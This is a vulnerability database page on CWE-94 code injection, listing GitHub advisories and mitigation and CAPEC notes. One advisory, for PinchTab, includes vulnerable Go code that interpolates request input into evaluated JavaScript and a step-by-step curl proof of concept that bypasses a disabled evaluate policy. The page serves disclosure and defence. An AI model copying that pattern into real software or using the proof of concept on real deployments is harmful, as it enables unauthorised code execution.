CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8305 vulnerabilities reference this CWE, most recent first.
GHSA-W4VX-2PCG-383R
Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2025-10-22 00:32Windows SmartScreen Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-21351"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-13T18:15:51Z",
"severity": "HIGH"
},
"details": "Windows SmartScreen Security Feature Bypass Vulnerability",
"id": "GHSA-w4vx-2pcg-383r",
"modified": "2025-10-22T00:32:59Z",
"published": "2024-02-13T18:38:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21351"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21351"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21351"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W4W5-8883-PGQR
Vulnerability from github – Published: 2022-05-01 07:31 – Updated: 2022-05-01 07:31PHP remote file inclusion vulnerability in forgot_pass.php in Free File Hosting 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: this issue was later reported for the "File Upload System" which is a component of Free File Hosting. This also affects Free Image Hosting 2.0, which contains the same code.
{
"affected": [],
"aliases": [
"CVE-2006-5762"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-11-06T23:07:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in forgot_pass.php in Free File Hosting 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: this issue was later reported for the \"File Upload System\" which is a component of Free File Hosting. This also affects Free Image Hosting 2.0, which contains the same code.",
"id": "GHSA-w4w5-8883-pgqr",
"modified": "2022-05-01T07:31:25Z",
"published": "2022-05-01T07:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5762"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29874"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33196"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2670"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3568"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22594"
},
{
"type": "WEB",
"url": "http://www.attrition.org/pipermail/vim/2007-March/001473.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/30143"
},
{
"type": "WEB",
"url": "http://www.rahim.webd.pl/exploity/Exploits/111.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/463707/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20781"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/23118"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4228"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W5P6-GFQF-HH2R
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-17 15:36"Functions" module in Raytha CMS allows privileged users to write custom code to add functionality to application. Due to a lack of sandboxing or access restrictions, JavaScript code executed through Raytha’s “functions” feature can instantiate .NET components and perform arbitrary operations within the application’s hosting environment.
This issue was fixed in version 1.4.6.
{
"affected": [],
"aliases": [
"CVE-2025-15540"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:17:55Z",
"severity": "HIGH"
},
"details": "\"Functions\" module in Raytha CMS allows privileged users to\u00a0write custom code to add functionality to application. Due to a lack of sandboxing or access restrictions,\u00a0JavaScript code executed through Raytha\u2019s \u201cfunctions\u201d feature can instantiate .NET components and perform arbitrary operations\u00a0within the application\u2019s hosting environment.\n\nThis issue was fixed in version 1.4.6.",
"id": "GHSA-w5p6-gfqf-hh2r",
"modified": "2026-03-17T15:36:19Z",
"published": "2026-03-16T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15540"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236"
},
{
"type": "WEB",
"url": "https://raytha.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W5PC-M664-R62V
Vulnerability from github – Published: 2026-03-24 19:43 – Updated: 2026-03-27 21:19Summary
PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Details
Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5):
The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}
In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}
Issue 2 — fn mode evaluated caller-supplied JavaScript directly:
The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))
Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 — Current worktree contains an unreleased fix:
The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
PoC
Prerequisites
- PinchTab
v0.8.3,v0.8.4, orv0.8.5 - A configured API token
security.allowEvaluate = false- A reachable tab context, created by the caller or already present
Step 1 — Confirm /evaluate is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'
Expected:
{
"code": "evaluate_disabled"
}
Step 2 — Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'
Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}
Step 3 — Execute JavaScript through /wait using fn mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'
Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}
Step 4 — Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'
Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}
Observation
1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
3. The first /wait request introduces a side effect in page state.
4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
Impact
- Bypass of the explicit
security.allowEvaluatecontrol inv0.8.3throughv0.8.5. - Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
- Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
- Inconsistent security boundaries between
/evaluateand/wait, making the configured execution policy unreliable. - This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.
Suggested Remediation
- Make
fnmode in/waitenforce the same policy check as/evaluate. - Keep non-code wait modes available when JavaScript evaluation is disabled.
- Add regression coverage so the policy boundary remains consistent across endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
},
{
"last_affected": "0.8.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33622"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:43:30Z",
"nvd_published_at": "2026-03-26T21:17:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 \u2014 `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go \u2014 v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n return h != nil \u0026\u0026 h.Config != nil \u0026\u0026 h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n if !h.evaluateEnabled() {\n httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n \"setting\": \"security.allowEvaluate\",\n })\n return\n }\n // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n mode := req.mode()\n if mode == \"\" {\n httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n return\n }\n\n // No evaluateEnabled() check here in affected releases\n // ...\n}\n```\n\n**Issue 2 \u2014 `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\ncase \"fn\":\n js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, \u0026result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 \u2014 Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 \u2014 Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"expression\":\"1+1\"}\u0027\n```\n\nExpected:\n\n```json\n{\n \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 \u2014 Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\":\"https://example.com\"}\u0027\n```\n\nExample result:\n\n```json\n{\n \"tabId\": \"\u003cTAB_ID\u003e\",\n \"title\": \"Example Domain\",\n \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 \u2014 Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n \"timeout\":5000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 1,\n \"match\": \"fn\"\n}\n```\n\n**Step 4 \u2014 Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"window._poc_executed === true\",\n \"timeout\":3000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 0,\n \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
"id": "GHSA-w5pc-m664-r62v",
"modified": "2026-03-27T21:19:00Z",
"published": "2026-03-24T19:43:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33622"
},
{
"type": "PACKAGE",
"url": "https://github.com/pinchtab/pinchtab"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution"
}
GHSA-W5PW-GMCW-RFC8
Vulnerability from github – Published: 2024-08-21 18:31 – Updated: 2024-08-21 20:09squirrellyjs squirrelly v9.0.0 was discovered to contain a code injection vulnerability via the component options.varName. The issue was fixed in version 9.1.0.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "squirrelly"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40453"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-21T20:09:15Z",
"nvd_published_at": "2024-08-21T17:15:08Z",
"severity": "HIGH"
},
"details": "squirrellyjs squirrelly v9.0.0 was discovered to contain a code injection vulnerability via the component `options.varName`. The issue was fixed in version 9.1.0.",
"id": "GHSA-w5pw-gmcw-rfc8",
"modified": "2024-08-21T20:09:15Z",
"published": "2024-08-21T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40453"
},
{
"type": "WEB",
"url": "https://github.com/squirrellyjs/squirrelly/pull/262"
},
{
"type": "WEB",
"url": "https://github.com/squirrellyjs/squirrelly/commit/426f930e5ca1501404cd887071e734ec5feb0bcf"
},
{
"type": "PACKAGE",
"url": "https://github.com/squirrellyjs/squirrelly"
},
{
"type": "WEB",
"url": "https://samuzora.com/posts/cve-2024-40453"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "squirrelly Code Injection vulnerability"
}
GHSA-W5V3-F8XV-J94C
Vulnerability from github – Published: 2022-05-02 03:46 – Updated: 2022-05-02 03:46Autodesk 3D Studio Max (3DSMax) 6 through 9 and 2008 through 2010 allows remote attackers to execute arbitrary code via a .max file with a MAXScript statement that calls the DOSCommand method, related to "application callbacks."
{
"affected": [],
"aliases": [
"CVE-2009-3577"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-11-24T17:30:00Z",
"severity": "HIGH"
},
"details": "Autodesk 3D Studio Max (3DSMax) 6 through 9 and 2008 through 2010 allows remote attackers to execute arbitrary code via a .max file with a MAXScript statement that calls the DOSCommand method, related to \"application callbacks.\"",
"id": "GHSA-w5v3-f8xv-j94c",
"modified": "2022-05-02T03:46:25Z",
"published": "2022-05-02T03:46:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3577"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023230"
},
{
"type": "WEB",
"url": "http://www.coresecurity.com/content/3dsmax-arbitrary-command-execution"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/508012/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36634"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W5V7-RQRC-CCV2
Vulnerability from github – Published: 2026-03-11 18:30 – Updated: 2026-03-12 15:30An issue was discovered in Lantronix EDS5000 2.1.0.0R3. An authenticated attacker can inject OS commands into the "tunnel" parameter when killing a tunnel connection. Injected commands are executed with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-67037"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T17:16:51Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Lantronix EDS5000 2.1.0.0R3. An authenticated attacker can inject OS commands into the \"tunnel\" parameter when killing a tunnel connection. Injected commands are executed with root privileges.",
"id": "GHSA-w5v7-rqrc-ccv2",
"modified": "2026-03-12T15:30:24Z",
"published": "2026-03-11T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67037"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-02"
},
{
"type": "WEB",
"url": "http://eds5000.com"
},
{
"type": "WEB",
"url": "http://lantronix.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5WX-RHPX-RWF6
Vulnerability from github – Published: 2022-05-02 03:51 – Updated: 2022-05-02 03:51Argument injection vulnerability in Mail/sendmail.php in the Mail package 1.1.14, 1.2.0b2, and possibly other versions for PEAR allows remote attackers to read and write arbitrary files via a crafted $recipients parameter, and possibly other parameters, a different vulnerability than CVE-2009-4023.
{
"affected": [],
"aliases": [
"CVE-2009-4111"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-11-29T13:07:00Z",
"severity": "MODERATE"
},
"details": "Argument injection vulnerability in Mail/sendmail.php in the Mail package 1.1.14, 1.2.0b2, and possibly other versions for PEAR allows remote attackers to read and write arbitrary files via a crafted $recipients parameter, and possibly other parameters, a different vulnerability than CVE-2009-4023.",
"id": "GHSA-w5wx-rhpx-rwf6",
"modified": "2022-05-02T03:51:35Z",
"published": "2022-05-02T03:51:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4111"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=294256"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2010-11/msg00001.html"
},
{
"type": "WEB",
"url": "http://pear.php.net/bugs/bug.php?id=16200"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37458"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1938"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/11/23/8"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/11/28/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37395"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W635-V6RJ-H657
Vulnerability from github – Published: 2022-05-14 01:22 – Updated: 2022-05-14 01:22An issue was discovered in SDCMS V1.7. In the \app\admin\controller\themecontroller.php file, the check_bad() function's filtering is not strict, resulting in PHP code execution. This occurs because some dangerous PHP functions (such as "eval") are blocked but others (such as "system") are not, and because ".php" is blocked but ".PHP" is not blocked.
{
"affected": [],
"aliases": [
"CVE-2019-9651"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-11T01:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in SDCMS V1.7. In the \\app\\admin\\controller\\themecontroller.php file, the check_bad() function\u0027s filtering is not strict, resulting in PHP code execution. This occurs because some dangerous PHP functions (such as \"eval\") are blocked but others (such as \"system\") are not, and because \".php\" is blocked but \".PHP\" is not blocked.",
"id": "GHSA-w635-v6rj-h657",
"modified": "2022-05-14T01:22:29Z",
"published": "2022-05-14T01:22:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9651"
},
{
"type": "WEB",
"url": "http://www.iwantacve.cn/index.php/archives/155"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W63G-5F6W-R7VQ
Vulnerability from github – Published: 2022-05-01 07:12 – Updated: 2022-05-01 07:12PHP remote file inclusion vulnerability in index.php in IDevSpot PhpLinkExchange 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.
{
"affected": [],
"aliases": [
"CVE-2006-3777"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-24T12:19:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in index.php in IDevSpot PhpLinkExchange 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.",
"id": "GHSA-w63g-5f6w-r7vq",
"modified": "2022-05-01T07:12:29Z",
"published": "2022-05-01T07:12:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3777"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27851"
},
{
"type": "WEB",
"url": "http://pridels0.blogspot.com/2006/07/phplinkexchange-remote-file-inclusion.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21126"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/27410"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/19083"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2900"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.